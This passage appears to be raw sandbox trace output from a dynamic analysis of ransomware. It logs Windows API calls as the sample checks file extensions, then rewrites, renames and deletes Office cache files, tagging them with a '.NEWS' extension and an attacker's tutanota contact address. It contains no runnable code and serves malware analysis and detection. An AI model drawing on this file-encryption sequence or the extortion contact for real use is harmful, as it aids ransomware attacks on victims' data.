[0066.627] lstrlenW (lpString=".zip") returned 4 [0066.627] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0066.627] lstrlenW (lpString=".rar") returned 4 [0066.627] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0066.627] lstrlenW (lpString=".bz2") returned 4 [0066.627] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0066.627] lstrlenW (lpString=".7z") returned 3 [0066.627] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0066.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0066.628] lstrlenW (lpString=".dbf") returned 4 [0066.628] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0066.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0066.628] lstrlenW (lpString=".1cd") returned 4 [0066.628] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0066.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0066.628] lstrlenW (lpString=".jpg") returned 4 [0066.628] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0066.628] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0066.628] lstrlenW (lpString="AccessMUI.msi") returned 13 [0066.628] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0066.796] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x312ff1c | out: lpFileSize=0x312ff1c*=2517504) returned 1 [0066.796] CloseHandle (hObject=0x210) returned 1 [0066.805] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0066.805] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.805] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0066.830] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0066.830] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc6c | out: lpNewFilePointer=0x0) returned 1 [0066.830] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0066.830] ReadFile (in: hFile=0x210, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.839] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0066.839] ReadFile (in: hFile=0x210, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.856] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x312fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0066.856] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0066.857] ReadFile (in: hFile=0x210, lpBuffer=0x3ae0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ae0058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0068.226] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.226] WriteFile (in: hFile=0x210, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x312fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0068.816] SetEndOfFile (hFile=0x210) returned 1 [0068.816] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4035008 [0068.931] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0068.931] WriteFile (in: hFile=0x210, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0068.933] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0068.933] WriteFile (in: hFile=0x210, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0068.944] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0068.944] WriteFile (in: hFile=0x210, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0068.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4035008 | out: hHeap=0x5c0000) returned 1 [0068.950] CloseHandle (hObject=0x210) returned 1 [0068.951] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0068.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0068.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0068.951] lstrlenW (lpString=".doc") returned 4 [0068.951] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0068.951] lstrlenW (lpString=".docx") returned 5 [0068.951] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0068.951] lstrlenW (lpString=".pdf") returned 4 [0068.951] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0068.952] lstrlenW (lpString=".xls") returned 4 [0068.952] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0068.952] lstrlenW (lpString=".xlsx") returned 5 [0068.952] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0068.952] lstrlenW (lpString=".ppt") returned 4 [0068.952] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0068.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0068.952] lstrlenW (lpString=".zip") returned 4 [0068.952] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0068.952] lstrlenW (lpString=".rar") returned 4 [0068.952] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0068.952] lstrlenW (lpString=".bz2") returned 4 [0068.952] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0068.952] lstrlenW (lpString=".7z") returned 3 [0068.952] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0068.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0068.952] lstrlenW (lpString=".dbf") returned 4 [0068.952] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0068.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0068.952] lstrlenW (lpString=".1cd") returned 4 [0068.952] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0068.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0068.952] lstrlenW (lpString=".jpg") returned 4 [0068.952] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0068.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0068.953] lstrlenW (lpString=".doc") returned 4 [0068.953] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0068.953] lstrlenW (lpString=".docx") returned 5 [0068.953] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0068.953] lstrlenW (lpString=".pdf") returned 4 [0068.953] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0068.953] lstrlenW (lpString=".xls") returned 4 [0068.953] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0068.953] lstrlenW (lpString=".xlsx") returned 5 [0068.953] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0068.953] lstrlenW (lpString=".ppt") returned 4 [0068.953] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0068.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0068.953] lstrlenW (lpString=".zip") returned 4 [0068.953] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0068.953] lstrlenW (lpString=".rar") returned 4 [0068.953] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0068.953] lstrlenW (lpString=".bz2") returned 4 [0068.953] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0068.953] lstrlenW (lpString=".7z") returned 3 [0068.954] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0068.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0068.954] lstrlenW (lpString=".dbf") returned 4 [0068.954] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0068.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0068.954] lstrlenW (lpString=".1cd") returned 4 [0068.954] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0068.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0068.954] lstrlenW (lpString=".jpg") returned 4 [0068.954] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.954] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0068.954] lstrlenW (lpString="PidGenX.dll") returned 11 [0068.954] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0068.955] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x312ff1c | out: lpFileSize=0x312ff1c*=1463568) returned 1 [0068.955] CloseHandle (hObject=0x210) returned 1 [0068.955] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0068.955] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.955] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0068.955] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.955] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.955] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0068.956] GetLastError () returned 0x0 [0068.956] ReadFile (in: hFile=0x210, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x312fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0069.303] WriteFile (in: hFile=0x170, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x312fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0069.559] ReadFile (in: hFile=0x210, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x312fed4*=0x65520, lpOverlapped=0x0) returned 1 [0069.800] WriteFile (in: hFile=0x170, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x312fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0069.819] ReadFile (in: hFile=0x210, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x312fed4*=0x0, lpOverlapped=0x0) returned 1 [0069.819] WriteFile (in: hFile=0x170, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x312fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fc9c*=0xea, lpOverlapped=0x0) returned 1 [0069.820] SetEndOfFile (hFile=0x170) returned 1 [0069.820] CloseHandle (hObject=0x170) returned 1 [0069.820] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.820] SetEndOfFile (hFile=0x210) returned 1 [0070.718] CloseHandle (hObject=0x210) returned 1 [0070.719] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0070.719] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0070.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0070.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0070.719] lstrlenW (lpString=".doc") returned 4 [0070.719] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0070.719] lstrlenW (lpString=".docx") returned 5 [0070.719] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0070.719] lstrlenW (lpString=".pdf") returned 4 [0070.719] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0070.719] lstrlenW (lpString=".xls") returned 4 [0070.719] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0070.719] lstrlenW (lpString=".xlsx") returned 5 [0070.720] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0070.720] lstrlenW (lpString=".ppt") returned 4 [0070.720] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0070.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0070.720] lstrlenW (lpString=".zip") returned 4 [0070.720] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0070.720] lstrlenW (lpString=".rar") returned 4 [0070.720] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0070.720] lstrlenW (lpString=".bz2") returned 4 [0070.720] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0070.720] lstrlenW (lpString=".7z") returned 3 [0070.720] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0070.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0070.720] lstrlenW (lpString=".dbf") returned 4 [0070.720] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0070.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0070.720] lstrlenW (lpString=".1cd") returned 4 [0070.720] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0070.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0070.720] lstrlenW (lpString=".jpg") returned 4 [0070.720] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0070.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0070.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0070.721] lstrlenW (lpString=".doc") returned 4 [0070.721] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0070.721] lstrlenW (lpString=".docx") returned 5 [0070.721] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0070.721] lstrlenW (lpString=".pdf") returned 4 [0070.721] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0070.721] lstrlenW (lpString=".xls") returned 4 [0070.721] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0070.721] lstrlenW (lpString=".xlsx") returned 5 [0070.721] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0070.721] lstrlenW (lpString=".ppt") returned 4 [0070.721] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0070.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0070.721] lstrlenW (lpString=".zip") returned 4 [0070.721] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0070.721] lstrlenW (lpString=".rar") returned 4 [0070.721] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0070.721] lstrlenW (lpString=".bz2") returned 4 [0070.721] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0070.721] lstrlenW (lpString=".7z") returned 3 [0070.721] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0070.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0070.721] lstrlenW (lpString=".dbf") returned 4 [0070.721] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0070.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0070.722] lstrlenW (lpString=".1cd") returned 4 [0070.722] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0070.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0070.722] lstrlenW (lpString=".jpg") returned 4 [0070.722] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0070.722] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0070.722] lstrlenW (lpString="setup.exe") returned 9 [0070.722] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0070.722] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x312ff1c | out: lpFileSize=0x312ff1c*=1377656) returned 1 [0070.722] CloseHandle (hObject=0x210) returned 1 [0070.723] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0070.723] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0070.723] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0070.723] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.723] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.723] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0071.261] GetLastError () returned 0x0 [0071.261] ReadFile (in: hFile=0x210, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x312fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0071.295] WriteFile (in: hFile=0x1c0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x312fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0071.493] ReadFile (in: hFile=0x210, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x312fed4*=0x50588, lpOverlapped=0x0) returned 1 [0071.874] WriteFile (in: hFile=0x1c0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x312fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0072.631] ReadFile (in: hFile=0x210, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x312fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.631] WriteFile (in: hFile=0x1c0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x312fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0072.631] SetEndOfFile (hFile=0x1c0) returned 1 [0072.631] CloseHandle (hObject=0x1c0) returned 1 [0072.632] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.632] SetEndOfFile (hFile=0x210) returned 1 [0072.637] CloseHandle (hObject=0x210) returned 1 [0072.637] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0072.637] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all 